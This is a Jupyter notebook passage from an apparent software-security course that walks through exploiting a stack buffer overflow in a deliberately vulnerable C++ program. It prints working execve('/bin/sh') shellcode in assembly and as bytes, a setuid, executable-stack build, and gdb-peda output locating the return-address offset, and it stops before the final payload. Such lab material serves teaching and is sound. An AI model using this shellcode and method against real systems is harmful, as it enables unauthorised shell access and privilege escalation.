StackOverflow-RemoteCodeExecution.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Stack Overflow - Remote Code Execution\n",
    "\n",
    "- instead of sending junk and executing the existing code, send your own code and execute it!\n",
    "- for this technique to succeed, program's stack must be executable (not just read and write)\n",
    "- let's define some terminologies\n",
    "\n",
    "### Payload\n",
    "- a buffer that contains code and data to exploit the vulnerability\n",
    "- payload typically has the following structure:\n",
    "\n",
    "```bash\n",
    "| repeated nop sled | shellcode | repeated controlled return address |\n",
    "```\n",
    "- offset determines the length of the payload\n",
    "- shellcode size is fixed depending on what the code is supposed to do\n",
    "- usually room to play with the length of nop sled and controlled return address\n",
    "\n",
    "### nop sled\n",
    "- `\\x90` - no operation instruction in assembly\n",
    "- if the buffer is large enough, use good number of NOP as a bigger cushion/wider landing zone\n",
    "- as the stack may shift a bit, it's harder to land exactly where the shellcode is\n",
    "- NOP let's you slide right to your shellcode that spawns a shell/terminal\n",
    "- you still need to pad the controlled buffer to make it long enough to overwrite the caller's return address\n",
    "    \n",
    "### shellcode\n",
    "- shellcode is attacker's code that can do anything \n",
    "    - such as creating/deleting a log file, adding a new user, change filewall rule, etc.\n",
    "- binary code that actually exploits the vulnerability\n",
    "- most common shellcode typically spawns, local or remote, tcp connect, reverse connect shell/terminal\n",
    "- let's you own the system by giving you access to the terminal\n",
    "- Shellcodes database - [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/)\n",
    "  \n",
    "### repeated return address\n",
    "- address pointing to some address of repeated nop sled  where it is stored in buffer variable\n",
    "- this controlled return address should overwrite the caller's return address on stack\n",
    "\n",
    "\n",
    "### Example program that spawns shell/terminal\n",
    "- let's look at an example program that spawns shell/terminal on the system by calling system call\n",
    "- `shellcode/system_shell.cpp` program uses system function defined in `<stdlib.h>` library to exectue `/bin/sh` command"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <unistd.h>\r\n",
      "\r\n",
      "int main() {\r\n",
      "    char * name[2];\r\n",
      "    name[0] = \"/bin/sh\";\r\n",
      "    name[1] = NULL;\r\n",
      "    execve(name[0], name, NULL);\r\n",
      "    return 0;\r\n",
      "}"
     ]
    }
   ],
   "source": [
    "! cat shellcode/system_shell.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: shellcode/system_shell.cpp: In function ‘int main()’:\n",
      "shellcode/system_shell.cpp:5:15: warning: ISO C++ forbids converting a string constant to ‘char*’ [-Wwrite-strings]\n",
      "    5 |     name[0] = \"/bin/sh\";\n",
      "      |               ^~~~~~~~~\n"
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "input=\"shellcode/system_shell.cpp\"\n",
    "output=system_shell.exe\n",
    "echo kali | sudo -S ./compile.sh $input $output"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- run system_shell.exe from terminal\n",
    "    - Jupyter notebook doesn't give shell/terminal\n",
    "\n",
    "```\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ ./system_shell.exe               \n",
    "$ whoami                                                                                                                  \n",
    "kali\n",
    "$ date                                                                                                                    \n",
    "Mon Mar 27 14:44:01 EDT 2023\n",
    "$ exit\n",
    "```\n",
    "    \n",
    "- note that shellcode:\n",
    "    - typically is NOT bash command string by itself - /bin/sh\n",
    "    - is executable binary when executed gives shell/terminal\n",
    "    - typically written in C/assembly and compiled/assembled as a binary\n",
    "    - if stored in stack as a part of buffer, stack must be Executable!\n",
    "        - so the buffer can be treated as executable code\n",
    "    - can't just compile C code and create exploit code (lot more complicated)\n",
    "        \n",
    "        \n",
    "## Remote code execution demos\n",
    "- make stack executable\n",
    "- use stack variable to store the remote shellcode\n",
    "- find the location of the shellcode and execute it\n",
    "\n",
    "### Use program argument to smuggle shellcode\n",
    "- if the vulnerable program uses argument to get the data, provide shellcode instead of data!\n",
    "- let's demonstrate it with `demos/stack_overflow/so_arg.cpp` program"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 32-bit Shellcode\n",
    "- https://seedsecuritylabs.org/Labs_20.04/Files/Buffer_Overflow_Setuid/Buffer_Overflow_Setuid.pdf\n",
    "- the following assembly essentially does the same as the C++ code above\n",
    "\n",
    "```c++\n",
    "; Store the command on stack\n",
    "xor eax, eax\n",
    "push eax\n",
    "push \"//sh\"                      ; // makes sh 32-bit word instead of /sh with is 24-bit\n",
    "push \"/bin\"\n",
    "mov ebx, esp                     ; ebx --> \"/bin//sh\": execve()’s 1st argument\n",
    "\n",
    "; Construct the argument array argv[]\n",
    "push eax                         ; argv[1] = 0\n",
    "push ebx                         ; argv[0] --> \"/bin//sh\"\n",
    "mov ecx, esp                     ; ecx --> argv[]: execve()’s 2nd argument\n",
    "\n",
    "; For environment variable\n",
    "xor edx, edx                     ; edx = 0: execve()’s 3rd argument\n",
    "\n",
    "; Invoke execve()\n",
    "xor eax, eax\n",
    "mov al, 0x0b                    ; execve()’s system call number\n",
    "int 0x80                        ; interrupt to make system call\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 64-bit Shellcode\n",
    "\n",
    "```cpp\n",
    "xor rdx, rdx          ; rdx = 0: execve()’s 3rd argument\n",
    "push rdx\n",
    "mov rax, ’/bin//sh’   ; the command we want to run\n",
    "push rax ;\n",
    "mov rdi, rsp          ; rdi --> \"/bin//sh\": execve()’s 1st argument\n",
    "push rdx              ; argv[1] = 0\n",
    "push rdi              ; argv[0] --> \"/bin//sh\"\n",
    "mov rsi, rsp          ; rsi --> argv[]: execve()’s 2nd argument\n",
    "xor rax, rax\n",
    "mov al, 0x3b          ; execve()’s system call number\n",
    "syscall\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Shellcode in action\n",
    "\n",
    "- we can create the binary version of shellcode above and use it in our exploit code\n",
    "- exploit code can be written in any language such as, C/C++, Bash, Python, etc.\n",
    "- as a quick demo, let's see `call_shellcode.cpp` file in `shellcode` folder to demo launching the binary shellcode\n",
    "- use Makefile provided to build 32-bit and 64-bit executable and observe the exploit-code behavior when executing them\n",
    "- compile without setuid and with setuid and observe the difference\n",
    "- for setuid to be effective make sure to create a softlink /bin/sh pointing to /bin/zsh\n",
    "\n",
    "```bash\n",
    "sudo ln -sf /bin/zsh /bin/sh\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <cstdlib>\r\n",
      "#include <cstring>\r\n",
      "\r\n",
      "\r\n",
      "const char shellcode[] =\r\n",
      "#ifdef __x86_64__\r\n",
      "    \"\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\"\r\n",
      "    \"\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\"\r\n",
      "    \"\\x48\\x89\\xe6\\x48\\x31\\xc0\\xb0\\x3b\\x0f\\x05\"\r\n",
      "#else\r\n",
      "    \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\"\r\n",
      "    \"\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\"\r\n",
      "    \"\\xd2\\x31\\xc0\\xb0\\x0b\\xcd\\x80\"\r\n",
      "#endif\r\n",
      ";\r\n",
      "\r\n",
      "int main(int argc, char **argv)\r\n",
      "{\r\n",
      "    char code[500];\r\n",
      "    strcpy(code, shellcode); // Copy the shellcode to the stack\r\n",
      "    int (*func)() = (int(*)())code;\r\n",
      "    func(); // Invoke the shellcode from the stack\r\n",
      "    return 0;\r\n",
      "}"
     ]
    }
   ],
   "source": [
    "! cat shellcode/call_shellcode.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\r\n",
      "all: 32bit 64bit\r\n",
      "\r\n",
      "clean:\r\n",
      "\trm -f *.out\r\n",
      "\r\n",
      "32bit:\r\n",
      "\tg++ -m32 -z execstack -o callshell32.out call_shellcode.cpp\r\n",
      "\t@echo callshell32.out built successfully!\r\n",
      "\r\n",
      "64bit:\r\n",
      "\tg++ -z execstack -o callshell64.out call_shellcode.cpp\r\n",
      "\t@echo callshell64.out built successfully!\r\n",
      "\r\n",
      "setuid: all\r\n",
      "\tsudo chown root:root callshell32.out callshell64.out\r\n",
      "\tsudo chmod u+s callshell32.out callshell64.out\r\n",
      "\t@echo setuid set for both 32-bit and 64-bit exectuables!\r\n"
     ]
    }
   ],
   "source": [
    "! cat shellcode/Makefile"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <cstdio>\r\n",
      "#include <cstring>\r\n",
      "#include <iostream>\r\n",
      "\r\n",
      "using namespace std;\r\n",
      "\r\n",
      "#define BUFSIZE 128\r\n",
      "\r\n",
      "void copydata(char *dst_buf, char *src_buf) {\r\n",
      "    // similar to strcpy in cstdio\r\n",
      "    size_t i = 0;\r\n",
      "    // copy each character from src_buf to des_buffer\r\n",
      "    // stop when NUL character is encountered\r\n",
      "    while (*(src_buf+i) != 0) {\r\n",
      "        *(dst_buf+i) = *(src_buf+i);\r\n",
      "        i++;\r\n",
      "    }\r\n",
      "    *(dst_buf+i) = 0; // end with NUL character\r\n",
      "}\r\n",
      "\r\n",
      "void bad(char *data) {\r\n",
      "    char buffer[BUFSIZE];\r\n",
      "    printf(\"buffer is at %p\\n\", buffer);\r\n",
      "    //strcpy(buffer, data);\r\n",
      "    copydata(buffer, data);\r\n",
      "    cout << \"buffer contains: \\n\" << buffer << endl;\r\n",
      "}\r\n",
      "\r\n",
      "int main(int argc, char *argv[]) {\r\n",
      "    bad(argv[1]);\r\n",
      "    cout << \"Good bye!\" << endl;\r\n",
      "    return 0;\r\n",
      "}"
     ]
    }
   ],
   "source": [
    "# let's look at the source\n",
    "# program simply copies and prints the user provided argument\n",
    "! cat demos/stack_overflow/so_arg.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "# let's compile and execute the program\n",
    "input=\"demos/stack_overflow/so_arg.cpp\"\n",
    "output=so_arg.exe\n",
    "echo kali | sudo -S ./compile.sh $input $output"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### crash the program\n",
    "- provide a large string and see how the program behaves\n",
    "- if the program crashes, availability of the program is violated and is the telltale sign that the program is likeley vulnerabile to stackoverflow!"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffbcb0\r\n",
      "buffer contains: \r\n",
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",
      "Good bye!\r\n"
     ]
    }
   ],
   "source": [
    "! ./so_arg.exe $(python3 -c 'print(\"A\"*100)')\n",
    "# note the buffer address!\n",
    "# How do you know the program has crashed? \n",
    "# On terminal you'll see segfault!\n",
    "# On Jupyter notebook it's not obvious..."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffbca0\r\n",
      "buffer contains: \r\n",
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",
      "Good bye!\r\n"
     ]
    }
   ],
   "source": [
    "# provide a longer argument and see if the program segfaults\n",
    "! ./so_arg.exe $(python3 -c 'print(\"A\"*128)')\n",
    "# also note the buffer address"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffbc50\r\n",
      "buffer contains: \r\n",
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
     ]
    }
   ],
   "source": [
    "# provide a longer argument and see if the program segfaults\n",
    "! ./so_arg.exe $(python3 -c 'print(\"A\"*200)')\n",
    "# buffer size is 128; 124 A's crashes the program; notice no Good bye! printed\n",
    "# also note the buffer address"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- let's verify it on from the terminal that the program actually crashed\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ ./so_arg.exe $(python3 -c 'print(\"A\"*140)')\n",
    "buffer is at 0xffffc2d0\n",
    "buffer contains: \n",
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
    "zsh: segmentation fault  ./so_arg.exe $(python3 -c 'print(\"A\"*140)')\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Remote code execution steps\n",
    "\n",
    "1. find the offset to return address using gdb-peda\n",
    "2. generate shellcode using tools (peda, pwntools) or find the right shellcode at [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/)\n",
    "3. find the return address of buffer or nop sled\n",
    "4. create payload and send it to the target program appropriately\n",
    "\n",
    "### Use gdb-peda to find offset and address of buffer\n",
    "- address of buffer is already printed - careful with the shifting address\n",
    "- use the same fixed length JUNK/pattern to keep the address consistently the same while crashing the\n",
    "- use gdb batch command file or manually step by stem command\n",
    "\n",
    "### Use batch commands\n",
    "- gdb allows batch file to automte a series of commands to be executed\n",
    "- see `demos/stack_overflow/gdb-so-arg.txt` as a demo\n",
    "- use batch command file with gdb-peda using the following command:\n",
    "\n",
    "```bash\n",
    "gdb -q -batch -x <gdb-batch-commands.txt> ./<target_program>\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "break main\r\n",
      "pattern arg 200\r\n",
      "run\r\n",
      "continue\r\n",
      "patts\r\n",
      "quit\r\n"
     ]
    }
   ],
   "source": [
    "! cat demos/stack_overflow/gdb-so-arg.txt"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cp demos/stack_overflow/gdb-so-arg.txt ."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Breakpoint 1 at 0x8049289: file demos/stack_overflow/so_arg.cpp, line 30.\n",
      "\u001b[mSet 1 arguments to program\u001b[0m\n",
      "[Thread debugging using libthread_db enabled]\n",
      "Using host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n",
      "Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.\n",
      "Use 'set logging enabled off'.\n",
      "\n",
      "Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.\n",
      "Use 'set logging enabled on'.\n",
      "\n",
      "\u001b[2J\u001b[H\u001b[;34m[----------------------------------registers-----------------------------------]\u001b[0m\n",
      "\u001b[m\u001b[;32mEAX\u001b[0m: \u001b[;34m0xffffbcb0\u001b[0m --> 0x2 \n",
      "\u001b[;32mEBX\u001b[0m: \u001b[;32m0x804bff4\u001b[0m --> \u001b[;32m0x804bef4\u001b[0m --> 0x1 \n",
      "\u001b[;32mECX\u001b[0m: \u001b[;34m0xffffbcb0\u001b[0m --> 0x2 \n",
      "\u001b[;32mEDX\u001b[0m: \u001b[;34m0xffffbcd0\u001b[0m --> \u001b[;32m0xf7a1cff4\u001b[0m --> 0x21cd8c \n",
      "\u001b[;32mESI\u001b[0m: \u001b[;32m0x804bef0\u001b[0m --> \u001b[;31m0x8049160\u001b[0m (<__do_global_dtors_aux>:\tendbr32)\n",
      "\u001b[;32mEDI\u001b[0m: \u001b[;32m0xf7ffcb80\u001b[0m --> 0x0 \n",
      "\u001b[;32mEBP\u001b[0m: \u001b[;34m0xffffbc98\u001b[0m --> 0x0 \n",
      "\u001b[;32mESP\u001b[0m: \u001b[;34m0xffffbc90\u001b[0m --> \u001b[;34m0xffffbcb0\u001b[0m --> 0x2 \n",
      "\u001b[;32mEIP\u001b[0m: \u001b[;31m0x8049289\u001b[0m (<main(int, char**)+28>:\tmov    eax,DWORD PTR [eax+0x4])\u001b[0m\n",
      "\u001b[m\u001b[;32mEFLAGS\u001b[0m: 0x202 (\u001b[;32mcarry\u001b[0m \u001b[;32mparity\u001b[0m \u001b[;32madjust\u001b[0m \u001b[;32mzero\u001b[0m \u001b[;32msign\u001b[0m \u001b[;32mtrap\u001b[0m \u001b[;1;31mINTERRUPT\u001b[0m \u001b[;32mdirection\u001b[0m \u001b[;32moverflow\u001b[0m)\u001b[0m\n",
      "\u001b[m\u001b[;34m[-------------------------------------code-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[m   0x804927c <main(int, char**)+15>:\u001b[;2;32m\tcall   0x80490d0 <__x86.get_pc_thunk.bx>\u001b[0m\n",
      "   0x8049281 <main(int, char**)+20>:\u001b[;2m\tadd    ebx,0x2d73\u001b[0m\n",
      "   0x8049287 <main(int, char**)+26>:\u001b[;2m\tmov    eax,ecx\u001b[0m\n",
      "=> 0x8049289 <main(int, char**)+28>:\u001b[;1;32m\tmov    eax,DWORD PTR [eax+0x4]\u001b[0m\n",
      "   0x804928c <main(int, char**)+31>:\u001b[m\tadd    eax,0x4\u001b[0m\n",
      "   0x804928f <main(int, char**)+34>:\u001b[m\tmov    eax,DWORD PTR [eax]\u001b[0m\n",
      "   0x8049291 <main(int, char**)+36>:\u001b[m\tsub    esp,0xc\u001b[0m\n",
      "   0x8049294 <main(int, char**)+39>:\u001b[m\tpush   eax\u001b[0m\u001b[0m\n",
      "\u001b[m\u001b[;34m[------------------------------------stack-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[m0000| \u001b[;34m0xffffbc90\u001b[0m --> \u001b[;34m0xffffbcb0\u001b[0m --> 0x2 \u001b[0m\n",
      "\u001b[m0004| \u001b[;34m0xffffbc94\u001b[0m --> \u001b[;32m0xf7a1cff4\u001b[0m --> 0x21cd8c \u001b[0m\n",
      "\u001b[m0008| \u001b[;34m0xffffbc98\u001b[0m --> 0x0 \u001b[0m\n",
      "\u001b[m0012| \u001b[;34m0xffffbc9c\u001b[0m --> \u001b[;31m0xf7823295\u001b[0m (add    esp,0x10)\u001b[0m\n",
      "\u001b[m0016| \u001b[;34m0xffffbca0\u001b[0m --> \u001b[;31m0xf7c9b580\u001b[0m (<_ZNSt8ios_base4InitD2Ev>:\tendbr32)\u001b[0m\n",
      "\u001b[m0020| \u001b[;34m0xffffbca4\u001b[0m --> 0x70 ('p')\u001b[0m\n",
      "\u001b[m0024| \u001b[;34m0xffffbca8\u001b[0m --> \u001b[;32m0xf7ffcff4\u001b[0m --> 0x33f14 \u001b[0m\n",
      "\u001b[m0028| \u001b[;34m0xffffbcac\u001b[0m --> \u001b[;31m0xf7823295\u001b[0m (add    esp,0x10)\u001b[0m\n",
      "\u001b[;34m[------------------------------------------------------------------------------]\u001b[0m\n",
      "\u001b[mLegend: \u001b[;31mcode\u001b[0m, \u001b[;34mdata\u001b[0m, \u001b[;32mrodata\u001b[0m, value\u001b[0m\n",
      "\n",
      "Breakpoint 1, main (argc=0x2, argv=0xffffbd64) at demos/stack_overflow/so_arg.cpp:30\n",
      "30\t    bad(argv[1]);\n",
      "buffer is at 0xffffbbf0\n",
      "buffer contains: \n",
      "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n",
      "\n",
      "Program received signal SIGSEGV, Segmentation fault.\n",
      "\u001b[2J\u001b[H\u001b[;34m[----------------------------------registers-----------------------------------]\u001b[0m\n",
      "\u001b[m\u001b[;32mEAX\u001b[0m: \u001b[;34m0xf7e23c40\u001b[0m --> \u001b[;32m0xf7e20970\u001b[0m --> \u001b[;31m0xf7d1b8c0\u001b[0m (<_ZNSoD1Ev>:\tendbr32)\n",
      "\u001b[;32mEBX\u001b[0m: 0x6c414150 ('PAAl')\n",
      "\u001b[;32mECX\u001b[0m: \u001b[;34m0xf7a1e9b8\u001b[0m --> 0x0 \n",
      "\u001b[;32mEDX\u001b[0m: \u001b[;32m0xf7e20970\u001b[0m --> \u001b[;31m0xf7d1b8c0\u001b[0m (<_ZNSoD1Ev>:\tendbr32)\n",
      "\u001b[;32mESI\u001b[0m: \u001b[;32m0x804bef0\u001b[0m --> \u001b[;31m0x8049160\u001b[0m (<__do_global_dtors_aux>:\tendbr32)\n",
      "\u001b[;32mEDI\u001b[0m: \u001b[;32m0xf7ffcb80\u001b[0m --> 0x0 \n",
      "\u001b[;32mEBP\u001b[0m: 0x41514141 ('AAQA')\n",
      "\u001b[;32mESP\u001b[0m: \u001b[;34m0xffffbc80\u001b[0m (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
      "\u001b[;32mEIP\u001b[0m: 0x41416d41 ('AmAA')\u001b[0m\n",
      "\u001b[m\u001b[;32mEFLAGS\u001b[0m: 0x10286 (\u001b[;32mcarry\u001b[0m \u001b[;1;31mPARITY\u001b[0m \u001b[;32madjust\u001b[0m \u001b[;32mzero\u001b[0m \u001b[;1;31mSIGN\u001b[0m \u001b[;32mtrap\u001b[0m \u001b[;1;31mINTERRUPT\u001b[0m \u001b[;32mdirection\u001b[0m \u001b[;32moverflow\u001b[0m)\u001b[0m\n",
      "\u001b[m\u001b[;34m[-------------------------------------code-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[;31mInvalid $PC address: 0x41416d41\u001b[0m\n",
      "\u001b[m\u001b[;34m[------------------------------------stack-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[m0000| \u001b[;34m0xffffbc80\u001b[0m (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0004| \u001b[;34m0xffffbc84\u001b[0m (\"AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0008| \u001b[;34m0xffffbc88\u001b[0m (\"ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0012| \u001b[;34m0xffffbc8c\u001b[0m (\"TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0016| \u001b[;34m0xffffbc90\u001b[0m (\"AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0020| \u001b[;34m0xffffbc94\u001b[0m (\"ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0024| \u001b[;34m0xffffbc98\u001b[0m (\"VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0028| \u001b[;34m0xffffbc9c\u001b[0m (\"AAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[;34m[------------------------------------------------------------------------------]\u001b[0m\n",
      "\u001b[mLegend: \u001b[;31mcode\u001b[0m, \u001b[;34mdata\u001b[0m, \u001b[;32mrodata\u001b[0m, value\u001b[0m\n",
      "\u001b[mStopped reason: \u001b[;31mSIGSEGV\u001b[0m\u001b[0m\n",
      "0x41416d41 in ?? ()\n",
      "\u001b[;31mRegisters contain pattern buffer:\u001b[0m\n",
      "\u001b[mEBX+0 found at offset: 132\u001b[0m\n",
      "\u001b[mEBP+0 found at offset: 136\u001b[0m\n",
      "\u001b[mEIP+0 found at offset: 140\u001b[0m\n",
      "\u001b[;33mRegisters point to pattern buffer:\u001b[0m\n",
      "\u001b[m[ESP] --> offset 144 - size ~56\u001b[0m\n",
      "\u001b[;32mPattern buffer found at:\u001b[0m\n",
      "\u001b[m0x08051bb0 : offset    0 - size  200 ([heap])\u001b[0m\n",
      "\u001b[m0xf7fa70b9 : offset 33208 - size    4 (/usr/lib32/libm.so.6)\u001b[0m\n",
      "\u001b[m0xffffbbf0 : offset    0 - size  200 ($sp + -0x90 [-36 dwords])\u001b[0m\n",
      "\u001b[m0xffffc051 : offset    0 - size  200 ($sp + 0x3d1 [244 dwords])\u001b[0m\n",
      "\u001b[;34mReferences to pattern buffer found at:\u001b[0m\n",
      "\u001b[m0xf7a1dda4 : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1dda8 : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1ddac : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1ddb0 : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1ddb4 : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1ddb8 : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1ddbc : 0x08051bb0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xffffb574 : 0x08051bb0 ($sp + -0x70c [-451 dwords])\u001b[0m\n",
      "\u001b[m0xffffb598 : 0x08051bb0 ($sp + -0x6e8 [-442 dwords])\u001b[0m\n",
      "\u001b[m0xffffb5b8 : 0x08051bb0 ($sp + -0x6c8 [-434 dwords])\u001b[0m\n",
      "\u001b[m0xffffb5c4 : 0x08051bb0 ($sp + -0x6bc [-431 dwords])\u001b[0m\n",
      "\u001b[m0xffffb5f4 : 0x08051bb0 ($sp + -0x68c [-419 dwords])\u001b[0m\n",
      "\u001b[m0xffffb608 : 0x08051bb0 ($sp + -0x678 [-414 dwords])\u001b[0m\n",
      "\u001b[m0xffffb644 : 0x08051bb0 ($sp + -0x63c [-399 dwords])\u001b[0m\n",
      "\u001b[m0xffffba78 : 0x08051bb0 ($sp + -0x208 [-130 dwords])\u001b[0m\n",
      "\u001b[m0xffffbae8 : 0x08051bb0 ($sp + -0x198 [-102 dwords])\u001b[0m\n",
      "\u001b[m0xffffb728 : 0xffffbbf0 ($sp + -0x558 [-342 dwords])\u001b[0m\n",
      "\u001b[m0xf7c7d41b : 0xffffc051 (/usr/lib32/libstdc++.so.6.0.30)\u001b[0m\n",
      "\u001b[m0xffffbd68 : 0xffffc051 ($sp + 0xe8 [58 dwords])\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "! gdb -q -batch -x gdb-so-arg.txt ./so_arg.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Use gdb-peda manually\n",
    "\n",
    "- find the offset using gdb-peda\n",
    "- we'll find the offset that overwrites the caller's return address\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ gdb -q so_arg.exe         \n",
    "Reading symbols from so_arg.exe...\n",
    "```\n",
    "\n",
    "- create cyclic pattern (long enough) 200 bytes as an argument and use it to run the program\n",
    "\n",
    "```bash\n",
    "gdb-peda$ pattern arg 200\n",
    "Set 1 arguments to program\n",
    "\n",
    "gdb-peda$ run\n",
    "\n",
    "Starting program: /home/kali/EthicalHacking/so_arg.exe 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'\n",
    "buffer is at 0xffffc250\n",
    "buffer contains: \n",
